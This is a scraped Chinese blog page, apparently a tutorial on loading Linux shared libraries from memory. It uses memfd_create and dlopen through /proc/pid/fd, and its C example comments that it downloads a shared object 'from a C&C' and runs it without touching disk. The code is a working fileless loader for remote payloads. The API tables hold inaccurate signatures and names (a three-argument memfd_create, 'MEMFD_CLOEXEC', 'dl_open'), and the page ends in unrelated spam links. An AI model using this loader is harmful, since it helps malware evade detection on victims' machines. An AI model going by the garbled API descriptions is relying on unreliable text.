当前位置: 首页 > news >正文

两个域名 两个网站 如何推广做家常菜哪个网站最好

两个域名 两个网站 如何推广,做家常菜哪个网站最好,珠海酒店网站建设公司,响应式设计网站怎么做使用memfd的系统调用接口将动态库加载到proc虚拟文件系统,提供的fd为进程持有的句柄,通过dlopen的path指向此句柄,即可实现非文件系统加载动态链接库。 文章目录 一、memfd_create二、dl_open三、示例参考 一、memfd_create 接口名称int mem…

使用memfd的系统调用接口将动态库加载到proc虚拟文件系统,提供的fd为进程持有的句柄,通过dlopen的path指向此句柄,即可实现非文件系统加载动态链接库。

文章目录

  • 一、memfd_create
  • 二、dl_open
  • 三、示例参考

在这里插入图片描述
在这里插入图片描述


一、memfd_create

接口名称int memfd_create(const char *name, unsigned int flags, unsigned int mode)
场景描述memfd_create() 函数用于创建一个内存文件描述符,该文件描述符指向一个内存区域。
输入参数name :内存区域的名称。如果为空字符串,则内存区域将没有名称。flags :内存区域的标志。 MEMFD_CLOEXEC :在文件描述符关闭时,该内存区域也会被自动释放。MEMFD_ALLOW_SEALING :允许将内存区域密封。mode :内存区域的权限。
输出参数函数返回一个文件描述符,该文件描述符指向内存区域。如果创建内存区域失败,则返回 -1 ,并设置 errno 为错误码。
备注如果 flags 参数设置为 MEMFD_CLOEXEC ,则在文件描述符关闭时,该内存区域也会被自动释放。

二、dl_open

|dl_open() 函数用于打开一个动态链接库。它返回一个指向动态链接库句柄的指针,该句柄可以用于访问动态链接库中的符号。

接口名称void *dl_open(const char *filename, int mode)
场景描述dl_open() 函数用于打开一个动态链接库。它返回一个指向动态链接库句柄的指针,该柄可以用于访问动态链接库中的符号。
输入参数filename :动态链接库的文件名。mode :动态链接库的打开模式。RTLD_LAZY :延迟解析动态链接库中的符号。 RTLD_NOW :立即解析动态链接库中的符号。 RTLD_GLOBAL :将动态链接库中的符号导出到全局符号表中。RTLD_LOCAL :将动态链接库中的符号导出到局部符号中。
输出参数函数返回一个指向动态链接库句柄的指针,该句柄可以用于访问动态链接库中的符号。如果打开动态链接库失败,则返回 NULL 。
备注

三、示例参考

#define _GNU_SOURCE#include <curl/curl.h>
#include <dlfcn.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/utsname.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/stat.h>        /* For mode constants */
#include <fcntl.h>           /* For O_* constants */
#include <errno.h>#define SHM_NAME "IceIceBaby"// Wrapper to call memfd_create syscall
inline int memfd_create(const char *name, unsigned int flags) {return syscall(__NR_memfd_create, name, flags);
}// Returns a file descriptor where we can write our shared object
int open_ramfs(void) {int shm_fd;shm_fd = memfd_create(SHM_NAME, 1);if (shm_fd < 0) { //Something went wrong :(fprintf(stderr, "[- Could not open file descriptor\n");exit(-1);}return shm_fd;
}// Callback to write the shared object
size_t write_data (void *ptr, size_t size, size_t nmemb, int shm_fd) {if (write(shm_fd, ptr, nmemb) < 0) {fprintf(stderr, "[-] Could not write file :'(\n");close(shm_fd);exit(-1);}printf("[+] File written!\n");
}// Download our share object from a C&C via HTTPs
int download_to_RAM(char *download) {CURL *curl;CURLcode res;int shm_fd;shm_fd = open_ramfs(); // Give me a file descriptor to memoryprintf("[+] File Descriptor Shared Memory created, used by memfd_create\n");curl = curl_easy_init();if (curl) {curl_easy_setopt(curl, CURLOPT_URL, download);curl_easy_setopt(curl, CURLOPT_WRITEDATA, shm_fd); //Args for our callbackcurl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data); //Callback// Do the HTTPs request!res = curl_easy_perform(curl);curl_easy_cleanup(curl);return shm_fd;}
}// Load the shared object
void load_so(int shm_fd) {char path[1024];void *handle;printf("[+] Trying to load Shared Object!\n");snprintf(path, 1024, "/proc/%d/fd/%d", getpid(), shm_fd);handle = dlopen(path, RTLD_LAZY);if (!handle) {fprintf(stderr,"[-] Dlopen failed with error: %s - %s\n", dlerror(), strerror(errno));}
}int main (int argc, char **argv) {char *url = "http://127.0.0.1:8000/module1.so";int fd;printf("[+] Trying to reach C&C & start download...\n");fd = download_to_RAM(url);load_so(fd);exit(0);
}

在这里插入图片描述

http://www.yayakq.cn/news/777938/

相关文章:

  • 做区块链的网站iframe 一直网站底部
  • 架设网站的目的网页游戏网站556pk游戏福利平台
  • 网站建设logo尺寸开平做网站
  • 网站建设企业官网体验版是什么wordpress优缺点
  • 小说网站怎么推广东莞专业做外贸网站
  • 南通网站优建设莱芜吧贴吧
  • 个人网站想添加支付功能怎么做html5 微网站布局
  • 青岛低价网站建设海南高端建设网站
  • 虚拟主机网站后台wordpress4 sqlite
  • 网站自己怎么做优化优化关键词的方法
  • 大连龙采做网站行不行豪禾创意海报设计理念
  • 龙岩做网站开发大概价格泰州seo推广
  • 企业网站源码 企业网站管理系统广州购物网站设计
  • 广东建设信息网站首页6河南建筑公司实力排名
  • 商城型企业网站的功能做签到的网站
  • 世界网站流量排名给新公司建网站
  • 南京培训网站建设wordpress登录去不了后台
  • 温州哪家做网站国外网站设计模板
  • 网站建设与管理实训心得体会城口自助建站
  • 网站切图怎么切wordpress主题 tao
  • 网站名称需要用注册吗深圳宝安网站建设工
  • 网站建设制作哪家好电子商务网站开发基本流程图
  • 网站关键词突然搜不到dplayer wordpress
  • 安平丝网网站建设建设网站杭州
  • 营销网站与企业网站的区别网站是用什么技术做的
  • 长沙河西做网站东莞网站设计与制作公司
  • 个人做的好的淘宝客网站wordpress安装php5.4
  • 两学一做知识竞答网站视频网站视频预览怎么做的
  • 做视频网站需要哪些技术指标合肥公司建设网站首页
  • 男女直接做网站宁波网站建设多少钱一个